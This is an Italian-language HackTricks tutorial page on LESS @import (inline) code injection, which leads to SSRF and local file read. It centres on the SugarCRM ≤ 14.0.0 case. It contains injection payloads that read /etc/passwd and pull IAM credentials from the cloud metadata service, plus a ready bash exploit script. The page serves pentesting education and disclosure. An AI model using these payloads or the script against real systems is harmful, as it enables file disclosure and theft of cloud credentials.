LESS Code Injection leading to SSRF & Local File Read
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
LESS è un popolare CSS pre-processor che aggiunge variabili, mixin, funzioni e la potente direttiva @import. Durante la compilazione il motore LESS recupererà le risorse referenziate nelle dichiarazioni @import e inserir(à) i loro contenuti (“inline”) nel CSS risultante quando l’opzione (inline) è usata.
Quando un’app concatena user-controlled input in una stringa che viene successivamente parsata dal compilatore LESS, un attacker può inject arbitrary LESS code. Abusando di @import (inline) l’attaccante può forzare il server a recuperare:
- File locali tramite il protocollo
file://(divulgazione di informazioni / Local File Inclusion). - Risorse remote su reti interne o servizi metadata del cloud (SSRF).
Questa tecnica è stata osservata in prodotti reali come SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview).
Exploitation
- Identificare un parametro che è direttamente incorporato all’interno di una stringa di stylesheet processata dal motore LESS (es.
?lm=in SugarCRM). - Chiudere l’istruzione corrente e iniettare nuove direttive. I primitivi più comuni sono:
;– termina la dichiarazione precedente.}– chiude il blocco precedente (se necessario).
- Usare
@import (inline) '<URL>';per leggere risorse arbitrarie. - Facoltativamente iniettare un marker (URI
data:) dopo l’import per facilitare l’estrazione del contenuto recuperato dal CSS compilato.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Il contenuto di /etc/passwd apparirà nella risposta HTTP appena prima del marker @@END@@.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatizzato (esempio SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Casi reali
| Prodotto | Endpoint vulnerabile | Impatto |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF non autenticato e lettura di file locali |
Riferimenti
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

